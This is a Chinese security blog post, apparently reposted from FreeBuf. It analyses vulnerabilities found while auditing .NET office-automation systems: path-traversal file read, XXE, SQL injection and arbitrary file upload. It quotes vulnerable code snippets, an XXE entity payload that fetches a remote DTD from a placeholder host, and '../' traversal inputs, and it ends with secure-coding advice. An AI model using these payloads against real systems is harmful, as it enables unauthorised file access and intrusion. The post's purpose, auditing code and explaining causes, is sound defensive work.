CNVD漏洞代码审计 | 危险代码与漏洞成因分析

admin 2024年6月11日00:34:02评论10 views字数 1848阅读6分9秒阅读模式

原文转载自Freebuf自己的文章:https://www.freebuf.com/vuls/401042.html

01 前言

之前审了几个oa拿了几张CNVD证书和少许的现金奖励,这边我就根据审计过的标准.Net开发的系统,总结下遇到的漏洞与成因。

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

(CNVD的审核标准一直是个谜,补天评定任意文件读取为高危,但在CNVD却是中危)

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

因为审计的漏洞实在太多,同一类型的都不收取了=-=

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

02 漏洞成因

任意文件读取

任意文件读取一般会配合目录穿越

首先映入眼帘的是Upload方法,但是却是读取文件的功能

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

在代码中对文件路径进行了一次拼接,设置没有做任意的处理

string a = ConfigurationSettings.AppSettings["FilServer"]; text2 = ((a == "") ? (parent.ToString().ToLower().Replace("\c6", "") + "\Resource\GovFiles\" + text) : (parent.ToString().ToLower().Replace("\c6", "") + "\upload\Resource\GovFiles\" + text)); string str = text2;

传参..\..\便造成了目录穿越读取到其他目录下面的文件,很简单粗暴

再来看一处代码,功能是下载上传的文件

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

分别由两个下载的方法:Downloadfcform和Download

Downloadfcform中,传参text拼接到../resource/目录中,无过滤传参....即可

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

而Download方法就没有拼接路径的问题,因此就无法利用它来读取文件

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

XML注入

XML注入又叫XXE,通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

这里来看代码是如何处理的:

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

系统加载了用户传入的XML内容然后解析

xmlDocument.LoadXml(xml);

因此使用参数%remote就造成了XML注入请求外网地址

<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

但是XML注入如果想要读取本地文件内容,就要依赖一个配置项

System.Xml.dll中,可见XmlReaderSettings.ProhibitDtd设置为true

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

参考微软官方文档

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

当XmlReaderSettings.ProhibitDtd设置为true时,系统XML是无法加载文档来实现读取文件的;反之可以读取

所以只是XML注入请求远程地址的话是无法造成大的危害的

SQL注入

SQL这类漏洞是最多的

漏洞成因是简单朴素的SQL语句拼接,来看代码

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

此处调用loadDeptChild方法传入参数id,之后再带着参数进入GetFirstSubDeptByDeptID方法

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

进入方法后,参数id拼接到SQL语句中然后执行查询,造成了注入

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

sqlmap验证下注入结果

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

上面的代码是典型的反面教材,未对用户传入参数进行过滤。咱们来看另外一个OA系统的代码

此处查询数据时,先对参数进行了过滤调用FilterInjectSql方法

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

对注入常用参数进行一波过滤

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

另外还有防止注入的方法,就是参数化查询

使用@参数名传入,放入SQL语句中就不会进行语义解析执行

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

任意文件上传

文件上传遇到的比较少,基本都是结合了目录穿越上传文件

这里看如下代码,upload方法中,传参参数folder指定了文件上传的目录

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

之后调用SaveFileToServer方法,拼接路径到Resource目录下,此处可以传参../造成目录穿越,穿越到Web目录下面

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

咱们实操一下,构造上传数据包进行上传

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

正常上传到目录,而且可以正常解析连接

CNVD漏洞代码审计 | 危险代码与漏洞成因分析

03 结语

在代码开发时,需要特别注意以下几点:

  1. 代码审查:仔细审查代码,特别是涉及用户输入的地方,确保对用户输入进行了适当的验证和过滤。

  2. 安全配置:检查系统的安全配置,如XML解析器是否禁用了外部实体、是否配置了适当的权限控制等。

  3. 安全编码实践:鼓励开发人员采用安全编码实践,如参数化查询、使用安全的文件操作函数、避免拼接路径等。

  4. 敏感操作权限:确保敏感操作(如文件读取、文件写入、数据库查询)只能被授权用户执行,并且执行时进行了适当的权限验证。

  5. 漏洞修复:针对发现的漏洞,及时修复并进行漏洞验证,确保系统的安全性。

这些措施可以帮助防止常见的安全漏洞。

原文始发于微信公众号(HackingWiki漏洞感知):CNVD漏洞代码审计 | 危险代码与漏洞成因分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日00:34:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CNVD漏洞代码审计 | 危险代码与漏洞成因分析https://cn-sec.com/archives/2833214.html

发表评论

匿名网友 填写信息